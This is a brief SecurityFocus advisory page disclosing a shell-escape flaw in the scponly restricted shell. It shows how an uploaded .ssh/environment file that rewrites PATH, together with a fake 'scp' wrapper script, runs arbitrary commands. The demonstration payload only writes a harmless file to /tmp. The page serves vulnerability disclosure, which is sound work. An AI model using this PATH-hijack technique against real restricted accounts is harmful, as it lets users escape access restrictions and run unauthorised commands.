Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

SCPOnly SSH Environment Shell Escaping Vulnerability

The following was provided by Derek D. Martin <ddm@pizzashack.org>:

For example, the user could scp the following to
$HOME/.ssh/environment:

# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end

Subsequently, the user could upload the following file to their home
directory, and call it scp:

#!/bin/sh

echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@

# end

When they next scp a file:

[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy







 

Privacy Statement
Copyright 2008, SecurityFocus